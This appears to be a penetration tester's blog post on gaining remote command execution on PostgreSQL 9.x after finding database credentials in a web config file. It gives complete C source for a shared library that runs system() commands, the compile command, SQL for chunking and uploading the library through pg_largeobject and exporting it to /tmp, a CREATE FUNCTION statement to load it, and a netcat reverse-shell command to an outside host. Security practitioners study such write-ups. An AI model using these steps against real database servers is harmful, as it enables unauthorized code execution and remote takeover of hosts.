Select Page

On a recent pentest I found myself being able to read the web configuration file in which there was the database username and password for a PostgreSQL version 9.4 service. That is good but now I needed to get a reverse shell connection so that I can have access to that server. Now as you might already know, getting remote command execution on a PostreSQL 8.x and lower is not that difficult. There are even Metasploit modules for it.

 

The problem is that in version 8.2 they introduced the following:

To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:

#ifdef PG_MODULE_MAGIC

PG_MODULE_MAGIC;

#endif

The #ifdef test can be omitted if the code doesn’t need to compile against pre-8.2 PostgreSQL releases.

 

This means that you would need to compile a library specifically for that PostgreSQL major version so that it contains that “magic block” in order to get remote code execution via the database.

After some extensive searching I managed to find a github repository that seems to do the exact thing I’m looking for. It even has precompiled libraries so you don’t have to go and download your own version of PostgreSQL. If the version you need is not there or if they don’t work, however, you will need to download the specific version of PostgreSQL from here.

 

Compiling the library

Now, in case you downloaded the precompiled libraries you can skip this part. If however you didn’t download the precompiled libraries, you now need to compile the following code which we will name pg_exec.c:

#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

 

And you can compile it using:

gcc -I$(/usr/local/pgsql/bin/pg_config –includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

 

Uploading the library

After you have the compiled library file, you need to upload it. To do so, you first need to split it into chunks of 2048 bytes using:

split -b 2048 pg_exec.so

This will create multiple files that are named “xaa”, “xab” and so on. These files will need to be inserted into the pg_largeobject table before being saved to the target machine, but in order to do so, we first need to get a LOID, which is basically an ID for the large object. This is used to identify our object in the pg_largeobject. To get this LOID we need to connect to the database and issue the following command:

SELECT lo_creat(-1);

In the following commands, you will have to replace **LOID** with the number that you get from the output of the lo_creat command.

Now we need to encode our chunks to base64 and then insert them into the pg_largeobject table of the database using the following commands on the database:

\set c0 `base64 -w 0 xaa`

INSERT INTO pg_largeobject (loid, pageno, data) values (**LOID**, 0, decode(:’c0′, ‘base64’));

\set c1 `base64 -w 0 xab`

INSERT INTO pg_largeobject (loid, pageno, data) values (**LOID**, 1, decode(:’c1′, ‘base64’));

…….

We need to repeat the process for each chunk we have. After this is done, we can finally save the file on the target machine using the lo_export fuction:

SELECT lo_export(**LOID**, ‘/tmp/pg_exec.so’);

 

Command execution

We should finally have the library successfully uploaded to the target machine in /tmp/pg_exec.so and we can call this library using:

CREATE FUNCTION sys(cstring) RETURNS int AS ‘/tmp/pg_exec.so’, ‘pg_exec’ LANGUAGE ‘c’ STRICT;

Commands can be run using the newly created sys command and we can finally get a reverse shell using:

SELECT sys(‘nc -e /bin/sh 10.0.0.1 4444’);

 

Final thoughts

Getting remote code execution on a newer version of PostgreSQL is a little more work but thankfully Dinoach made a script that does all this automatically. You only need to compile the library with the target version of PostgreSQL. I felt the need to share this because at the time of writing, their github page was the only source of information I could find about getting remote code execution on newer versions of PostgreSQL.

  • InfoSec enthusiast
  • Penetration tester
  • CTF player